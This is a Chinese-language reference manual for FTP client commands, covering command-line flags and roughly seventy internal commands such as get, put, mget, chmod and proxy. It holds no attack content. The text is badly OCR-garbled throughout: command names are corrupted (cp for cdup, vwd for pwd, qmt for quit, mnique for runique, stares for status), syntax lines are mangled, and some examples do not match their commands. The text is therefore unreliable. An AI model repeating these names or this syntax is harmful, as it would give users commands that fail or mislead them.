HELP显示LOCAL端的命令说明,若不接受则显示所有可用命令;
?相当于HELP,例如:?CD:
RHELP同HELP,只是它用来显示REMOTE端的命令说明;
REMOTEHELP相当于RHELP。
2)ASC(ASCll)、Bm(BmARY)、IMAGE、TYPE
ASCII切换传输模式为文字模式(只能用来传送DOC文件,因为是7-BIT);
BINARY切换传输模式为二进制模式(除文字文件外皆用此模式);
IMAGE相当于BINARY:
TYPE让你更改或显示目前传输模式。
3)BYE、QUIT
BYE退出FTP:
QUIT相当于BYE。
4)CD、CDUP、LCD、P~WD、 !
CD改变当前工作目录,例如:CD\PUB;
CDUP回到上一层目录,相当于你打CD..:
LCD让你更改或显示LOCAL端的工作目录,例如:LCD\TMP;
PWD显示目前的工作目录(REMOTE端):
!让你执行外壳命令,例如:!LS。
5)DELETE、MDELETE、RENAME
DELETE删除REMOTE端的文件:
MDELETE批量删除文件,需配合?或,*
RENAME更改REMOTE端的文件名。
6)GET、MGET、PUT、MPUT、RECV、SEND
GET下传文件;
MGET批量下传文件,需配合万用字符,例如:MGET*.GZ;
PUT上传文件;
MPUT批量上传文件,需配合万用字符;
RECV相当于GET(RECV为RECEWE的简写):
SEND相当于PUT。
7)HASH、PROMPT、VERBOSE、STATUS、BELL
HASH切换#字号的出现,每一个#字号表示传送了1024/8192BYTES:
PROMPT切换iNTERACTIVEON/OFF;
VERBOSE切换所有文件传输过程的显示;
STATUS显示目前的一些参数:
BELL当指令做完时会发出叫声。
8)LS、DIR、MLS、MDIR、MKDIR、RMDIR
LS有点象UNIX下的LS(LIST)命令:
DIR相当于LS-L(LIST-LONG);
MLS只是将远端某目 录下的文件存于LOCAL端的某文件里;
MDIR相当于MLS;
MKDIR象DOS下的MD(创建子目录)一样:
RMDIR象DOS下的RD(删除子目录)一样。
9)OPEN、CLOSE、DISCONNECT、USER ·
OPEN连接某个远端FTP服务器;
CLOSE关闭目前的连接; DISCONNECT相当于CLOSE;
USER再输入一次用户名和口令(有点像UNIX下的SU)。

第二节FTP命令完全掌握

FTP命令是Intemet用户使用最频繁的命令之一,不论在DOS还在UNIX操作系统下使 用FTP,都会遇到大量的 FTP内部命令。熟悉并灵活应用FTP的内部命令,可以大大方便 使用者,并收到事半功倍之效。
FTP的命令行格式为:
FTP-v-d-i-n-g[主机名],其中:
—v——显示远程服务器的所有响应信息;
—n.------限制FTP的自动登录,即不使用; ,
n-----etRc文件:
-d——使用调试方式:
·g——取消全局文件名。
FTP使用的内部命令如下(中括号表示可选项):
1)[crud[args)1:在本地机中执行交互shell,exit回到FTP环境, 列如:!LS*.zip.
2)$macro-amc[args儿执行宏定义macro-name。
3)accountlpassword]:提供登录远程系统成功后访问系统资源所需的补充口令。
4)append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远系统文件名,则使用本地文件名。
5)aSCii:使用ascII型传输方式。
6)bell:每个命令执行完毕后计算机响铃—次
7)bin:使用二进制文件传输方式
8)bye..退出FTP会话过程—
9)case:在使用mget时,将远程主文件名中的大写字母转为小写字母
10)cdremote·dir:进入远程主机目录。
11)cp..进入远程主机目录的父目录。
12)chmodmodefile-name:将远程主机文件file-name的存取方式设置为mode。列如:chmod777a.OUt。
13)close:中断与远程服务器的FTP会话(与open对应)。
14)cr:使用aSSC“方式传输文件时,将回车换行转换为回行
15)deleteremote-file-删除远程主机文件:
16)debugldebug-value3:.设置调试方式,显示发送至远程主机的每条命令。例如:debup3,若设为0,表示取消debug。
17)dir[remote-dir][Local-file]:显示远程主机目录,并将结果存入本地文件local-file:
18)disconnection-.同close。
19)formformat:将文件传输方式设置为format,缺省为file方式。
20)getremote-file[10cal-file]:将远程主机的文件remote-file传至本地 硬盘的local-file。
21)glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22)hash:每传输1024字节,显示一个hash符号(#)。
23)help[cmd]:显示FTP内部命令cmd的帮助信息,如.-helpget。
24)idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。
25)image:设置二进制传输方式(同binary)。
26)LCD[DIR]:将本地工作目录切换至dir。
27)LS[remote-DIR][LOCAL-FILE]:显示远程目录remote-dir,并存入本地文local-fileo
28)macdefmacro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。
29)mdelete[remote-file]:删除远程主机文件。
30)mdirremote-fileslocal-file:与dlr类似,但可指定多个远程文件。 列如mdir*.O.*.zipoutfiLe。
31)mgetremote-files:传输多个远程文件。
32)mkdirdirname:在远程主机中建一目录。
33)misremote-filelocal-file.同nlist,但可指定多个文件名。
34)mode[modename]:将文件传输方式设置为modename,缺省为stream方式。
35)modtimefile-name..显示远程主机文件的最后修改时间。 ·
36)mputlocal-file:将多个文件传输至远程主机,
37)newerfile-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间巨近,则重新传输该文件。 ·
38)nlist正remote·di41local-file3:显示远程主机目录的文件清单,并存入本地硬盘的local-fileo
39)nmap[npattem outpattem]设置文件名映射机制,使得文件传输时,文件中的某些字符相互转换,如:nmapSl.S2.S3[$1,$2][$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a20该命令特别适用于远程主机为非UNIX机的情况o
40)ntrans[Inchars[outchars]]设置文件名字符的翻译机制,如ntranslR,则文件名LLI将变为RRR。
41)openhost[port]:建立指定FTP服务器连接,可指定连接端口。
42)passive:进入被动传输方式。
43)prompt:设置多个文件传输时的交互提示。
44)proxy FTP-cmd:在次要控制连接中,执行一条FTP命令,该命令允许连接两个FTP服务器,以在两个服务器间传输文件。第一条FTP命令必须为open,以首先建立两个服务器间的连接。
45)putlocal-file[remote-file]:将本地文件local-file传送至远程主机。
46)vwd:显示远程主机的当前工作目录。
47)qmt-.同bye,退出FTP会话。
48)quote argl,arg2。。。:将参数逐字发至远程卸服务器,如:quote, syst。
49)recvremote-file[Local-file):同get。
50)reget remote-file[Local-file]:类似于get,但若local-file存在,则从上次传输中断处继续传输。
51)rhelp[cmd-name]:请求获得远程主机的帮助。
52)rstatus[FILe-name]:若未指定文件名,则显示远程主机的状态,否则显示文件状态,
53)rename[FRom)[to]:更改远程主机文件名。
54)reset:清除回答队列。
55)restart marker:从指定的标志marker处,重新开始get或put,如:restartl30。
56)rmdirdir-name:删除远程主机目录。
57)mnique:设置文件名惟一性存储,若文件存在,则在原文件后加后缀.1,.2等
58)send local-file[remote-file):同put
59)sendport:设置PORT命令的使用。
60)siteargl,arg2。。。:将参数作为SITE命令逐字发送至远程卸主机。
61)sizefile-name:显示远程主机文件大小,如:Slteidle7200。
62)stares:。显示当前FTP状态。 ·
63)struct[struct-name]:将文件传输结构设置为struct-name,缺省时使用stream结构。
64)suniclue:将远程主机文件名存储设置为惟一(与mnique对应)。
65)system:显示远程主机的操作系统类型。
66)tenex:将文件:传输类型设置为TENEX机的所需的类型
67)tick:设置传输时的字节计数器
68)trace:设置包跟踪。
69)type[type-name):设置文件传输类型为type-name,缺省为ascii,
例如:typebinary,设置二进制传输方式。
70)umask[newmask):将远程服务器的缺省umask设置为newmask。 例如:umask 3。
71)user user-name [passwordⅡaccount]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:useranonymousmy@emaiL。
72)verbose:同命令行的-v参数,即设置详尽报告方式,FTP服务器的所有响应都将显示给用户,缺省为on。
73)?[cmd]:同help。